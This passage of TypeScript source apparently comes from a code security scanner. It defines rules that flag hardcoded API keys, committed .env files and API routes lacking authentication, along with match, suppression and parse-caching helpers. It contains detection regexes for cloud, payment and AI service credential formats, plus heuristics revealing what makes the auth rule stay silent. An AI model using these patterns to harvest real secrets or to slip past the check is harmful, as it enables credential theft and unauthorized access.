string, matchIndex: number): boolean {\n const lineText = lineTextAt(content, matchIndex);\n // Skip if the line looks like a fix suggestion string or rule description.\n // Word-boundaries on the imperative verbs are critical — without them,\n // words like \"reset\" (contains \"Set\") or \"added\" (contains \"Add\") trip\n // the filter and silently drop real findings.\n //\n // The first clause requires a STRING-LITERAL value after the separator\n // (`fix: \"...\"`, `description = '...'`). Without that anchor it matched\n // ordinary assignments to variables named like the keywords —\n // `const doc = libxmljs.parseXmlString(...)` or\n // `const message = exec(req.body.x)` — silently dropping real findings on\n // those lines. Requiring the quote keeps the rule-definition intent while\n // letting `doc = someCall(...)` (a call, not a literal) fall through.\n return /(?:fix|description|message|suggestion|hint|help|example|doc|comment)\\s*[:=]\\s*[\"'`]/i.test(lineText) ||\n /return\\s*[\"'`].*\\b(?:Use|Replace|Add|Move|Set|Enable|Disable|Never|Don't|Do not|Instead)\\b/i.test(lineText);\n}\n\n/**\n * Drop findMatches-style results that sit at an inline-silenced site. Lets any\n * rule honor `// VC###-OK:` / `// scanner-OK` with a one-liner, even when it\n * only has line numbers (not match indices) to work with. Used to give the\n * high/critical rules a per-site escape valve so users don't disable a whole\n * rule to suppress one reviewed-and-accepted finding.\n */\nexport function filterSilenced(matches: RuleMatch[], content: string, ruleId: string): RuleMatch[] {\n if (matches.length === 0) return matches;\n const lines = content.split(\"\\n\");\n const lineStartIndex = (line: number) =>\n lines.slice(0, line - 1).reduce((acc, l) => acc + l.length + 1, 0);\n return matches.filter((m) => !isInlineSilenced(content, lineStartIndex(m.line), ruleId));\n}\n\n// Context-aware matching: checks if mitigation exists within N lines after the match\nfunction hasMitigationNearby(content: string, matchIndex: number, mitigationPattern: RegExp, linesAhead: number = 5): boolean {\n const lines = content.split(\"\\n\");\n const matchLine = content.substring(0, matchIndex).split(\"\\n\").length - 1;\n const endLine = Math.min(matchLine + linesAhead, lines.length - 1);\n const nearbyContent = lines.slice(matchLine, endLine + 1).join(\"\\n\");\n return mitigationPattern.test(nearbyContent);\n}\n\n// Helper to find all regex matches with line numbers\n// Automatically skips matches on comment lines and fix messages\nexport function findMatches(\n content: string,\n pattern: RegExp,\n rule: Omit<CustomRule, \"check\">,\n filePath: string,\n fixTemplate?: (match: RegExpExecArray) => string,\n): RuleMatch[] {\n const matches: RuleMatch[] = [];\n let m: RegExpExecArray | null;\n const re = new RegExp(pattern.source, pattern.flags.includes(\"g\") ? pattern.flags : `${pattern.flags}g`);\n\n // Compute line numbers incrementally instead of `content.substring(0,\n // m.index).split(\"\\n\")` per match. Matches arrive in increasing index\n // order, so we only ever count each newline once — O(content) total\n // instead of O(content x matches), which was O(n^2) and let a pathological\n // single-line payload with thousands of matches pin the public scan\n // endpoint (CPU-DoS — security review June 2026).\n let scanned = 0; // index up to which newlines have been counted\n let lineNum = 1;\n let lastMatchIndex = -1;\n\n // Cap matches per rule per file. No real file has hundreds of genuine hits\n // of a single rule that change the verdict (the grade is capped anyway),\n // and the cap turns the worst case from O(matches x per-match work) into a\n // constant bound — the second half of the ReDoS/CPU-DoS fix.\n const MAX_MATCHES = 500;\n\n while ((m = re.exec(content)) !== null) {\n // Guard against a zero-width match looping forever.\n if (m.index === lastMatchIndex && m[0].length === 0) {\n re.lastIndex++;\n continue;\n }\n lastMatchIndex = m.index;\n\n // Skip matches on comment lines\n if (isCommentLine(content, m.index)) continue;\n // Skip matches inside fix/description strings\n if (isInsideFixMessage(content, m.index)) continue;\n\n // Advance the incremental line counter to this match.\n for (; scanned < m.index; scanned++) {\n if (content.charCodeAt(scanned) === 10 /* \\n */) lineNum++;\n }\n\n matches.push({\n rule: rule.id,\n title: rule.title,\n severity: rule.severity,\n category: rule.category,\n file: filePath,\n line: lineNum,\n snippet: getSnippet(content, lineNum),\n fix: fixTemplate?.(m),\n });\n\n if (matches.length >= MAX_MATCHES) break;\n }\n\n return matches;\n}\n\n/**\n * Build a RuleMatch from an AST-derived location. Mirrors findMatches' output\n * shape so AST-based rules can be mixed into the same Finding stream. `line`\n * comes from node.loc; we still call getSnippet for consistent UI.\n */\nexport function astMatch(\n content: string,\n filePath: string,\n line: number,\n rule: Omit<CustomRule, \"check\">,\n fix?: string,\n): RuleMatch {\n return {\n rule: rule.id,\n title: rule.title,\n severity: rule.severity,\n category: rule.category,\n file: filePath,\n line,\n snippet: getSnippet(content, line),\n fix,\n };\n}\n\n/**\n * Parse once per (file, rule) call, cached. Returns null if the file isn't\n * JS/TS, parsing failed, or the file is empty — callers fall back to the\n * regex-only path so malformed code can't break a scan.\n */\n// Memoize the AST parse + taint map per file. 13 rules call tryParse, and\n// rules run synchronously over one (content, filePath) at a time, so without\n// this every JS/TS file was Babel-parsed (and taint-mapped) up to 13 times per\n// scan — which dominated scan time on any non-trivial file and let a large\n// many-line payload cost several seconds (security review June 2026). The\n// by-(content,filePath) cache of size 1 hits for all 13 calls on a given file.\n// Keyed on filePath too because the parser plugin set is extension-driven and\n// two files can share identical content; the null (parse-failed) result is\n// cached behind a validity flag.\nlet parseCacheContent: string | null = null;\nlet parseCachePath: string | null = null;\nlet parseCacheResult: { parsed: ParsedFile; taint: TaintMap } | null = null;\nlet parseCacheValid = false;\n\nexport function tryParse(content: string, filePath: string): { parsed: ParsedFile; taint: TaintMap } | null {\n if (parseCacheValid && content === parseCacheContent && filePath === parseCachePath) {\n return parseCacheResult;\n }\n let result: { parsed: ParsedFile; taint: TaintMap } | null = null;\n try {\n const parsed = parseFile(content, filePath);\n // buildTaintMap traverses the AST and CAN throw on adversarial-but-\n // parseable input (e.g. `const x;const x;` → Babel \"Duplicate\n // declaration\"). An unhandled throw here propagates out of rule.check()\n // and crashes the whole scan request, since the API's runScan loop does\n // not wrap each rule. Treat any parse/traverse failure as \"no AST\" — the\n // rule falls back to its regex layer (security review June 2026).\n result = parsed ? { parsed, taint: buildTaintMap(parsed) } : null;\n } catch {\n result = null;\n }\n parseCacheResult = result;\n parseCacheContent = content;\n parseCachePath = filePath;\n parseCacheValid = true;\n return result;\n}\n\n// ────────────────────────────────────────────\n// RULE DEFINITIONS\n// ────────────────────────────────────────────\n\n/**\n * A namespaced storage/cache key such as `kartrush2.customTrack`,\n * `app:settings` or the prefix `kartrush2.pace.` — words joined by `.`, `:`,\n * `/`, `-` or `_`. Each word is lowercase, optionally camelCase where every\n * capital starts a lowercase run, with trailing digits allowed (`kartrush2`,\n * `v1`). Only a trailing separator may leave an empty word.\n *\n * The shape alone is not enough: a human-chosen secret looks exactly like\n * this (`SECRET_KEY = \"mySuperSecretKey.v1\"`, `HMAC_KEY =\n * \"webhookSigningSecret.v3\"`). So the exemption also needs a name that does\n * not say what kind of key it is, and words that do not say \"secret\".\n */\nfunction isNamespacedSlotKey(name: string, value: string): boolean {\n if (CREDENTIAL_NAME.test(name)) return false;\n const words = value.split(/[.:/_-]/);\n if (words[words.length - 1] === \"\") words.pop();\n if (words.length < 2) return false;\n if (words.some((w) => CREDENTIAL_WORD.test(w))) return false;\n return words.every((w) => /^[a-z]+[0-9]*(?:[A-Z][a-z]+[0-9]*)*$/.test(w));\n}\n\n/** A `_KEY` name that names a credential: SECRET_KEY, HMAC_KEY, JWT_SIGNING_KEY. */\nconst CREDENTIAL_NAME = /SECRET|SIGN|ENCRYPT|CRYPT|CIPHER|HMAC|JWT|PRIVATE|API|ACCESS|AUTH|MASTER|ADMIN|SESSION|PASS|TOKEN|CLIENT|SALT|PEPPER|LICEN[CS]E|WEBHOOK|STRIPE|AWS|SERVICE/;\n/** A word inside the value that gives a credential away. */\nconst CREDENTIAL_WORD = /secret|passw|token|private|signing|apikey|credential/i;\n\nexport const hardcodedSecrets: CustomRule = {\n id: \"VC001\",\n title: \"Hardcoded API Key or Secret\",\n severity: \"critical\",\n category: \"Secrets\",\n description: \"API keys, tokens, or secrets hardcoded in source code can be extracted by anyone with access to the code.\",\n check(content, filePath) {\n // Skip .env.example, template, test, and documentation files\n if (filePath.endsWith(\".example\") || filePath.endsWith(\".template\")) return [];\n if (isTestFile(filePath)) return [];\n if (filePath.match(/\\.(md|txt|rst|adoc)$/)) return [];\n\n const patterns = [\n // Generic API key patterns — require actual value assignment, not variable declarations\n /(?:api[_-]?key|apikey|api[_-]?secret)\\s*[:=]\\s*[\"'`]([a-zA-Z0-9_\\-]{20,})[\"'`]/gi,\n // AWS keys\n /(?:AKIA|ABIA|ACCA|ASIA)[A-Z0-9]{16}/g,\n // Stripe keys\n /(?:sk_live|pk_live|sk_test|pk_test)_[a-zA-Z0-9]{20,}/g,\n // Supabase anon/service keys (JWT format)\n /(?:supabase[_-]?(?:anon|service)[_-]?key|SUPABASE_(?:ANON|SERVICE_ROLE)_KEY)\\s*[:=]\\s*[\"'`](eyJ[a-zA-Z0-9_-]{50,})[\"'`]/gi,\n // OpenAI keys\n /sk-[a-zA-Z0-9]{20,}T3BlbkFJ[a-zA-Z0-9]{20,}/g,\n // Generic tokens in assignments — require standalone word and longer min length\n /(?:^|[\\s,({])(?:token|secret|password|passwd|pwd)\\s*[:=]\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*]{20,})[\"'`]/gim,\n // SCREAMING_CASE identifiers ending in SECRET/TOKEN/KEY/PASSWORD\n // (OAUTH_CLIENT_SECRET, JWT_PRIVATE_KEY, STRIPE_WEBHOOK_SECRET, etc.)\n // that are assigned a string literal, not an env var or function call.\n /[A-Z][A-Z0-9_]*_(?:SECRET|TOKEN|KEY|PASSWORD|PASSWD)\\s*[:=]\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*.\\/]{12,})[\"'`]/g,\n // camelCase / snake_case object properties that look like credentials:\n // apiKey: \"...\", webhookUrl: \"https://...\", accountSid: \"...\", authToken: \"...\"\n // password: \"...\" caught here separately with a lower threshold (many\n // real passwords are 8-16 chars, below the 12-char floor of the\n // generic `secret = \"...\"` pattern).\n /\\b(?:apiKey|api_key|authToken|auth_token|webhookUrl|webhook_url|accountSid|account_sid|clientSecret|client_secret|refreshToken|refresh_token)\\s*:\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*.\\/:\\-]{12,})[\"'`]/gi,\n /\\b(?:password|passwd|pwd)\\s*:\\s*[\"'`]([a-zA-Z0-9_\\-!@#$%^&*.\\/:\\-]{8,})[\"'`]/gi,\n // Private keys\n /-----BEGIN (?:RSA |EC |DSA )?PRIVATE KEY-----/g,\n // Database URLs with credentials\n /(?:postgres|mysql|mongodb(?:\\+srv)?):\\/\\/[^:]+:[^@]+@[^/\\s\"'`]+/gi,\n ];\n\n // Pattern-specific fix messages with risk context\n const fixMessages: string[] = [\n \"Move this API key to an environment variable. If this key has been committed, rotate it immediately — it may have already been scraped by bots.\",\n \"AWS access key detected — may grant full account access (EC2, S3, IAM, billing). Rotate immediately in AWS Console → IAM → Security Credentials. Use IAM roles or environment variables instead.\",\n \"Stripe key detected. sk_live_ keys can process real charges, issue refunds, and access customer payment data. sk_test_ keys are lower risk but should still not be committed. Rotate in Stripe Dashboard → Developers → API Keys.\",\n \"Supabase key detected. Service role keys bypass Row Level Security and grant full database read/write access. Move to a server-side environment variable immediately.\",\n \"OpenAI API key detected — grants full API access and can incur charges. Rotate at platform.openai.com → API Keys.\",\n \"Hardcoded token or password detected. Move to an environment variable and rotate the credential if it has been committed to version control.\",\n \"Named secret constant detected (XXX_SECRET / XXX_TOKEN / XXX_KEY). If it's a real credential, move it to server-side configuration — an environment variable read by server code (`process.env.NAME` in Node) — and rotate it if this file has been committed. Code that runs in the browser can't keep a secret: everything it loads is public, and `process` doesn't exist there without a bundler, so a browser-side credential has to move behind your own server. If the value is an identifier rather than a credential (a storage key, a cookie or cache name), there is nothing to rotate.\",\n \"Credential assigned to a config object property. Move to an environment variable — `apiKey: process.env.API_KEY` — and rotate the value if this file has been committed.\",\n \"Hardcoded password detected in a config object. Move to an environment variable (`password: process.env.DB_PASSWORD`) and rotate the password if this file has been committed.\",\n \"Private key found in source code. If this has been committed to version control, consider the key compromised — generate a new key pair and revoke the old one.\",\n \"Database credentials in connection string. An attacker with this URL has full database access. Move to an environment variable, restrict network access, and rotate the password.\",\n ];\n\n // Per-pattern minimum-value-length floor. Most secret shapes require 12+\n // characters (below that it's often an enum value, version, or similar);\n // the password-specific pattern allows 8+ (real passwords legitimately\n // start at 8). Index into this lines up with `patterns` above.\n const minLen: number[] = [\n 12, // [0] generic API key\n 16, // [1] AWS — already rigid in the regex, length floor is defensive\n 20, // [2] Stripe\n 50, // [3] Supabase JWT\n 40, // [4] OpenAI\n 20, // [5] generic tokens with {20,} in the regex\n 12, // [6] SCREAMING_CASE named constants\n 12, // [7] camelCase config props (apiKey/webhookUrl/etc.)\n 8, // [8] password: \"...\" — lower floor per the pattern comment above\n 0, // [9] private keys — no length check\n 0, // [10] DB URLs — no length check\n ];\n\n const matches: RuleMatch[] = [];\n for (let pi = 0; pi < patterns.length; pi++) {\n const pattern = patterns[pi];\n const rawMatches = findMatches(content, pattern, hardcodedSecrets, filePath, () => fixMessages[pi]);\n const floor = minLen[pi] ?? 12;\n for (const rm of rawMatches) {\n const lineText = content.split(\"\\n\")[rm.line - 1] || \"\";\n // Skip comment lines (additional guard beyond findMatches)\n const trimmed = lineText.trimStart();\n if (trimmed.startsWith(\"//\") || trimmed.startsWith(\"#\")) continue;\n // Enforce per-pattern minimum value length\n if (floor > 0) {\n const secretMatch = lineText.match(/[:=]\\s*[\"'`]([^\"'`]*)[\"'`]/);\n if (secretMatch && secretMatch[1].length < floor) continue;\n }\n // FP filter for pattern[6] (SCREAMING_CASE _KEY/_SECRET/_TOKEN\n // assignments). Real secrets look like `sk_live_aBcD1234...` —\n // mixed-case alphanumeric, high-entropy. The narrow FP class is\n // SCREAMING_CASE constants ending **specifically in _KEY** that\n // hold app-side slot identifiers — localStorage keys, cookie\n // names, cache keys: `xploitscan-webhooks` (kebab-case),\n // `mc_saves_index` (snake_case), `consent_banner_dismissed`.\n //\n // Only the `_KEY` suffix can legitimately mean \"slot identifier\"\n // (the actual secret would be stored AT that key, not BE the\n // value). `_SECRET`, `_TOKEN`, `_PASSWORD`, `_PASSWD` always\n // imply real credentials, even if the value happens to look\n // kebab-case (e.g. `OAUTH_CLIENT_SECRET = \"secret-google-app-7c41a82bf3\"`\n // — must still flag).\n //\n // Skip ONLY when: variable ends in `_KEY` AND value is a\n // human-readable slot identifier, under 40 chars, either:\n // - all-lowercase alphanumeric words joined by `-` or `_`\n // (`mc_saves_index`, `consent-banner-dismissed`), or\n // - a namespaced key: two or more words joined by `.`, `:`, `/`,\n // `-` or `_`, each word lowercase or camelCase\n // (`kartrush2.customTrack`, `app:settings`, and the prefix form\n // `kartrush2.pace.` that a loop appends an id to).\n // The second form was missing, so every localStorage key in a\n // browser game that namespaces its saves flagged as a critical secret.\n // \"camelCase\" is strict — each capital must start a lowercase run — so\n // random mixed-case blobs (`aB3dE5fG7h`) still flag. Real keys are\n // mixed-case or unbroken high-entropy blobs (e.g. `abcd1234ef567890`),\n // so they have no separator or fail the word test, and still flag.\n if (pi === 6) {\n const valMatch = lineText.match(/[:=]\\s*[\"'`]([^\"'`]+)[\"'`]/);\n const nameMatch = lineText.match(/\\b([A-Z][A-Z0-9_]*_(?:SECRET|TOKEN|KEY|PASSWORD|PASSWD))\\b/);\n if (valMatch && nameMatch) {\n const value = valMatch[1];\n const isKeySuffix = nameMatch[1].endsWith(\"_KEY\");\n const isSlotIdentifier =\n value.length < 40 &&\n (/^[a-z0-9]+([_-][a-z0-9]+)+$/.test(value) || isNamespacedSlotKey(nameMatch[1], value));\n if (isKeySuffix && isSlotIdentifier) continue;\n }\n }\n matches.push(rm);\n }\n }\n return matches;\n },\n};\n\nexport const exposedEnvFile: CustomRule = {\n id: \"VC002\",\n title: \"Environment File May Be Committed\",\n severity: \"high\",\n category: \"Secrets\",\n description: \".env files containing secrets may be committed to version control.\",\n check(content, filePath) {\n // Only applies to .env files (not .env.example)\n if (!filePath.match(/\\.env(?:\\.[a-z]+)?$/) || filePath.includes(\"example\")) return [];\n\n const hasSecrets = /(?:KEY|SECRET|TOKEN|PASSWORD|PRIVATE|DATABASE_URL)\\s*=/i.test(content);\n if (!hasSecrets) return [];\n\n return [{\n rule: \"VC002\",\n title: exposedEnvFile.title,\n severity: \"high\",\n category: \"Secrets\",\n file: filePath,\n line: 1,\n snippet: getSnippet(content, 1),\n fix: 'Add \".env*\" to your .gitignore file and remove this file from git history with: git rm --cached ' + filePath,\n }];\n },\n};\n\n// ---------------------------------------------------------------------------\n// Deno / Supabase Edge Function support for VC003\n// ---------------------------------------------------------------------------\n//\n// Why this exists: docs/research/auth-wedge-sizing.md measured 174 public\n// repositories carrying an AI app builder's scaffold marker, and\n// docs/research/class-a-detection.md traced the result back to this rule. On\n// Vite-based builders the entire server surface is Supabase Edge Functions —\n// `supabase/functions/<name>/index.ts`, a `serve()` or `Deno.serve()` call, no\n// Next.js route handler anywhere in the repo. VC003 recognised exactly two\n// handler shapes (an `export async function GET` declaration and an\n// `app.get(\"/x\", handler)` registration), so that surface was invisible to it.\n// Handlers with no discoverable authentication were flagged at 86% on\n// Next.js-shaped repos and 13% on the Vite/edge-shaped ones.\n\n/**\n * A Supabase Edge Function source file: `supabase/functions/<name>/…`.\n *\n * Copied from `SUPABASE_FN_RE` in scripts/research/auth-wedge-lib.cjs.\n *\n * This gate is not decoration. The finding text, the fix advice and the\n * changelog copy all say \"edge function\" and tell the reader to resolve the\n * caller's token with `supabase.auth.getUser()` — advice that is wrong, and\n * embarrassingly so, on a Deno HTTP server that has nothing to do with\n * Supabase. `Deno.serve(` on its own appears in local dev proxies, MCP\n * transports, `server/main.ts` bootstraps and Deno Deploy handlers, and\n * without a path constraint every one of those collected a high-severity\n * \"this edge function does not establish who is calling it\" finding.\n *\n * The shape has no calibration history, so it stays inside the path shape the\n * research measured. Netlify and Deno Deploy edge functions are deliberately\n * NOT included: nothing in the study covers them and the fix text would not\n * apply.\n */\nconst SUPABASE_EDGE_FN_RE = /(?:^|\\/)supabase\\/functions\\/[^/]+\\/.*\\.(?:m?[jt]s)$/;\n\n/**\n * Does this file prove it is a Deno HTTP entry point?\n *\n * The bare token `serve(` is ambiguous — @hono/node-server and other adapters\n * export a `serve()` that binds a port instead of handling a request, and\n * flagging those would put a phantom high-severity finding on the startup file\n * of every Hono/Node project. So `serve(` only counts when the file also shows\n * a Deno std-http import; `Deno.serve(` is unambiguous on its own.\n *\n * Content test only — the caller is responsible for the path constraint\n * (`SUPABASE_EDGE_FN_RE`).\n */\nfunction isDenoEdgeEntry(codeOnly: string): boolean {\n if (/\\bDeno\\s*\\.\\s*serve\\s*\\(/.test(codeOnly)) return true;\n const importsStdServe =\n /from\\s+[\"']https?:\\/\\/deno\\.land\\/[^\"']{0,120}\\/http\\/server(?:\\.ts)?[\"']/.test(codeOnly) ||\n /from\\s+[\"'](?:jsr:)?@std\\/http[^\"']{0,40}[\"']/.test(codeOnly);\n return importsStdServe && /(?<![.\\w])serve\\s*\\(/.test(codeOnly);\n}\n\nconst DENO_EDGE_ENTRY_RE = /(?:\\bDeno\\s*\\.\\s*serve|(?<![.\\w])serve)\\s*\\(/g;\n\n/**\n * Weak indications that the author did *something* about the caller's\n * identity. None of these proves a check — that is exactly why they are not in\n * `authPatterns`, where they would suppress the Next.js and Express shapes the\n * rule has years of calibration behind.\n *\n * For the edge-function shape they DO suppress. The list below covers every\n * entry of `WEAK_AUTH`, `RLS_DELEGATED` and `SIGNATURE_VERIFY` in\n * scripts/research/auth-wedge-lib.cjs: for each classifier pattern, any string\n * that matches it also matches something here. That direction is the one that\n * matters — the classifier routes a handler carrying any of those to its\n * \"undecidable\" or \"public by design\" bucket rather than to \"no authentication\n * at all\", so covering them costs no measured recall on the class this\n * widening targets while removing the whole population where a high-severity\n * finding would be a coin flip.\n *\n * What this does NOT claim, because the first version of this comment did and\n * it was false: the rule as a whole is not equivalent to the classifier. The\n * strong-auth gate is the rule's own `authPatterns`, which is a different and\n * in places narrower list than the classifier's `STRONG_AUTH` (no `jose` /\n * `jwtVerify(`, no `workos`, no `stackServerApp`, no `resolveAuthedUserId`).\n * In practice those handlers are still suppressed, because a handler doing any\n * of them mentions a token, a session or a user — but that is an observation\n * about real code, not a property of the code below. Verified coverage of the\n * three lists is the claim; \"fires only where the study would have said class\n * A\" is not.\n *\n * Four classifier patterns are covered by a cheaper equivalent rather than\n * verbatim, because the originals contain unbounded `[^}]*` / `[^)]*` / `\\w*`\n * runs. An unbounded quantifier in a rule regex is what pinned the public scan\n * endpoint at ~15s on a single 256KB file in June 2026, and a scanned repo\n * chooses its own file contents:\n *\n * - `/global\\s*:\\s*\\{[^}]*headers[^}]*Authorization/is` ⊂ `/\\bauthorization\\b/i`\n * - `/createClient\\s*\\([^)]*Authorization/is` ⊂ `/\\bauthorization\\b/i`\n * - `/auth\\s*:\\s*\\{[^}]*persistSession/is` ⊂ `/\\bpersistSession\\b/`\n * - `/\\bWebhook\\s*\\(\\s*\\w*SECRET/i` → `\\w{0,64}` bound\n *\n * The first three replacements match a strict superset of the original. The\n * fourth is the only narrowing anywhere in this list, and it gives up\n * identifiers longer than 64 characters between `Webhook(` and `SECRET`.\n */\nconst EDGE_WEAK_AUTH_HINTS = [\n // WEAK_AUTH — the author touched the caller's identity somehow.\n // Covers the classifier's `/\\bheaders\\s*(?:\\.\\s*get\\s*\\(\\s*)?[\"'`]?[Aa]uthorization/`\n // via the plain `authorization` token.\n /\\bauthorization\\b/i,\n /\\bbearer\\b/i,\n /\\btoken\\b/i,\n /\\bsession\\b/i,\n /\\bapi[_-]?key\\b/i,\n /\\buser\\b/,\n // Beyond the classifier's WEAK_AUTH list — these are strong-auth or\n // ownership signals there, and suppressing on them here can only remove\n // findings.\n /\\b401\\b/,\n /\\b403\\b/,\n /\\bunauthori[sz]ed\\b/i,\n /\\bforbidden\\b/i,\n /\\bgetSession\\b/,\n /\\bgetClaims\\b/,\n // RLS_DELEGATED — the database is the gate\n /\\bcreateServerClient\\s*\\(/,\n /\\bcreateRouteHandlerClient\\s*\\(/,\n /\\bcreateServerComponentClient\\s*\\(/,\n /\\bpersistSession\\b/,\n // SIGNATURE_VERIFY — a receiver that authenticates its caller with a\n // signature or a shared secret rather than a session. Matched on content\n // rather than on the function's name, because the name is only a\n // convention: an edge function called `sync-inventory` can still be a\n // signed webhook receiver, and flagging it for \"missing authentication\"\n // would be wrong in the most embarrassing possible way.\n /\\bconstructEvent\\w*\\s*\\(/,\n /\\bcreateHmac\\s*\\(/,\n // `hmac` bare, not just Node's `createHmac`. Deno edge functions verify\n // signatures with Web Crypto — `crypto.subtle.importKey(…, { name: \"HMAC\" })`\n // — which contains no other token on this list. Its absence flagged\n // correctly-signed receivers, which is the worst false positive this rule\n // can produce.\n /\\bhmac\\b/i,\n /\\btimingSafeEqual\\s*\\(/,\n /\\bsvix\\b/i,\n /\\bWebhook\\s*\\(\\s*\\w{0,64}SECRET/i,\n // Header names, quoted or bare. The quoted form below requires the literal\n // to END at `-signature`, so it misses `\"X-Hub-Signature-256\"` — the header\n // GitHub actually sends.\n /\\bx-hub-signature\\b/i,\n /\\bx-signature\\b/i,\n /\\bstripe-signature\\b/i,\n /\\bverifyHeader\\s*\\(/,\n /\\bverifySignature\\b/i,\n /\\bwebhook[_-]?secret\\b/i,\n /\\bsigning[_-]?secret\\b/i,\n // Beyond the classifier's SIGNATURE_VERIFY list.\n /[\"'`][\\w-]*-signature[\"'`]/i,\n /\\b\\w*(?:webhook|shared|signing|cron|admin|internal)[_-]?secret\\b/i,\n];\n\n/**\n * Endpoints an edge function is allowed to expose without a caller check.\n *\n * The three regexes below are copied character-for-character from\n * `PUBLIC_PATH_RE`, `AUTH_FLOW_PATH_RE` and `CRON_PATH_RE` in\n * scripts/research/auth-wedge-lib.cjs, so the two can be diffed. The\n * classifier routes these to \"public by design\" and \"undecidable\" rather than\n * to \"no authentication at all\". The hand-trimmed earlier version dropped\n * `_?static`, `sign-in`/`sign-up`/`sign-out`, `forgot`, `nextauth`, `session`\n * and `token`, which is the kind of drift that makes a \"mirrors the\n * classifier\" comment stop being true without anyone noticing.\n *\n * Applied only to the edge-function shape — the Next.js and Express shapes\n * keep the skip list they were calibrated with.\n *\n * Hyphen-aware throughout, because the Supabase layout is one directory per\n * function: `reset-password`, `og-image` and `daily-cron` are directory names,\n * never path segments of their own.\n */\nconst EDGE_PUBLIC_PATH_RE =\n /(^|[/_-])(health(?:z|check)?|ping|status|version|readyz|livez|robots|sitemap|manifest|favicon|opengraph|og-image|og|rss|feed|_?static|public|metrics)([/_.-]|$)/i;\n\nconst EDGE_AUTH_FLOW_PATH_RE =\n /(^|[/_[-])(auth|login|signin|sign-in|signup|sign-up|register|logout|signout|sign-out|callback|oauth|sso|session|csrf|reset-password|forgot-password|forgot|magic-?link|verify-?email|confirm|nextauth|otp|invite|token)([/\\]_.-]|$)/i;\n\nconst EDGE_CRON_PATH_RE = /(^|[/_-])(cron|jobs?|scheduled?|tasks?)([/_.-]|$)/i;\n\nfunction isPublicByDesignEdgePath(filePath: string): boolean {\n return (\n EDGE_PUBLIC_PATH_RE.test(filePath) ||\n EDGE_AUTH_FLOW_PATH_RE.test(filePath) ||\n EDGE_CRON_PATH_RE.test(filePath)\n );\n}\n\n/**\n * Blank the value of a CORS allow-list header before testing for auth hints.\n *\n * Every scaffolded edge function opens with\n * `\"Access-Control-Allow-Headers\": \"authorization, x-client-info, apikey, ...\"`.\n * That string contains two of the hint tokens and appears in *every* function,\n * safe or not, so without this the shape would be suppressed universally and\n * the widening would detect nothing at all. The research classifier gets this\n * for free because it scopes its weak-auth test to the handler body and the\n * CORS constant lives in module scope; a single-file regex rule has to say so\n * explicitly.\n */\nfunction stripCorsHeaderList(codeOnly: string): string {\n return codeOnly.replace(\n /[\"'`]?Access-Control-(?:Allow|Expose)-Headers[\"'`]?\\s*:\\s*[\"'`][^\"'`]*[\"'`]/gi,\n \"\",\n );\n}\n\nexport const missingAuthMiddleware: CustomRule = {\n id: \"VC003\",\n title: \"API Route Missing Authentication\",\n severity: \"high\",\n category: \"Authentication\",\n description: \"API routes without authentication checks allow unauthorized access.\",\n check(content: string, filePath: string, project?: ProjectContext) {\n // Only check files that look like server-side request handlers.\n if (!isServerSideFile(filePath, content)) return [];\n\n // Skip endpoints that are public by definition. Anonymous fetches ARE the\n // feature here: a social crawler unfurling an Open Graph card, a search\n // engine reading app/sitemap.ts, a README <img> pulling a status badge.\n // \"Add an authentication check to this route\" would break the thing the\n // route exists to do, so it is bad advice rather than a finding.\n if (PUBLIC_BY_CONVENTION_ROUTE.test(routeSegmentName(filePath))) return [];\n\n // Look for route handlers without auth checks\n const routePatterns = [\n // Express/Hono style\n /\\.(get|post|put|patch|delete)\\s*\\(\\s*[\"'`][^\"'`]+[\"'`]\\s*,\\s*(?:async\\s+)?\\(?(?:req|c|ctx)/gi,\n // Next.js API routes — named function declaration\n /export\\s+(?:async\\s+)?function\\s+(?:GET|POST|PUT|PATCH|DELETE)\\s*\\(/gi,\n ];\n\n // ── Handler shapes measured as uncaught on the `wedge` corpus ──\n //\n // 174 real apps, 2,908 handlers. Of 231 class-A/B handlers the rule set\n // missed, 221 (95.7%) were missed for one reason: shape_gate — \"the rule\n // never fires because it does not know this form\". Not bad judgement about\n // auth, just an unrecognised way of declaring an endpoint. Per framework:\n //\n // next-app-route 147 A+B 147 flagged already solved\n // supabase-edge 143 A+B 17 flagged see the edge block below\n // express 52 A+B 36 flagged\n // deno-serve 49 A+B 0 flagged\n // vercel-api 20 A+B 0 flagged\n // server-action 15 A+B 0 flagged\n //\n // Each shape below is path- or content-gated, never matched on a bare\n // token, because the generic forms (`export default`, `export function X`)\n // are ordinary in files that are not endpoints at all.\n\n // Vercel serverless functions: `api/whatever.ts` at the project root with a\n // default export. Explicitly NOT Next's app/ or pages/ trees — those are\n // handled above and below, and double-matching would report one endpoint\n // twice.\n const VERCEL_API_FN_RE = /(?:^|\\/)api\\/[^/]+\\.(?:m?[jt]s)$/;\n const isNextTree = /(?:^|\\/)(?:src\\/)?(?:app|pages)\\//.test(filePath);\n if (VERCEL_API_FN_RE.test(filePath) && !isNextTree) {\n routePatterns.push(\n /export\\s+default\\s+(?:async\\s+)?(?:function\\b|\\()/g,\n /module\\.exports\\s*=\\s*(?:async\\s+)?(?:function\\b|\\()/g,\n );\n }\n\n // Next.js server actions. A file-level \"use server\" makes EVERY exported\n // function a callable POST endpoint — no route file, no URL in the repo,\n // invisible to any scanner that works from routes. Gated on the directive\n // itself, so nothing here fires on an ordinary module.\n //\n // Matching every export is the correct reading rather than an\n // over-reach: in a \"use server\" file that is precisely what each export\n // is. The auth check is per-handler (see handlerHasAuth), so an\n // authenticated action in the same file is not reported.\n // `content`, not `codeOnly`: the latter is declared further down, and the\n // directive form requires quotes at the start of a line, so a commented\n // \"use server\" cannot match it anyway.\n if (/^\\s*[\"']use server[\"']/m.test(content)) {\n routePatterns.push(\n /export\\s+(?:async\\s+)?function\\s+\\w+\\s*\\(/g,\n /export\\s+const\\s+\\w+\\s*(?::[^=\\n]{0,120})?=\\s*(?:async\\s*)?\\(/g,\n );\n }\n\n // Netlify functions and other edge handlers that live under a functions/\n // directory. Deliberately path-gated and NOT widened to a bare\n // `Deno.serve(` anywhere in a server-side file: the comment on the\n // Supabase block below records that exact widening firing on a local dev\n // proxy, an MCP transport and a `server/main.ts` bootstrap. A conventional\n // functions directory is the signal that separates an endpoint from a\n // process that merely listens.\n const EDGE_FN_DIR_RE =\n /(?:^|\\/)(?:netlify\\/(?:edge-)?functions|functions|edge-functions)\\/[^/]+\\/?[^/]*\\.(?:m?[jt]s)$/;\n if (EDGE_FN_DIR_RE.test(filePath) && 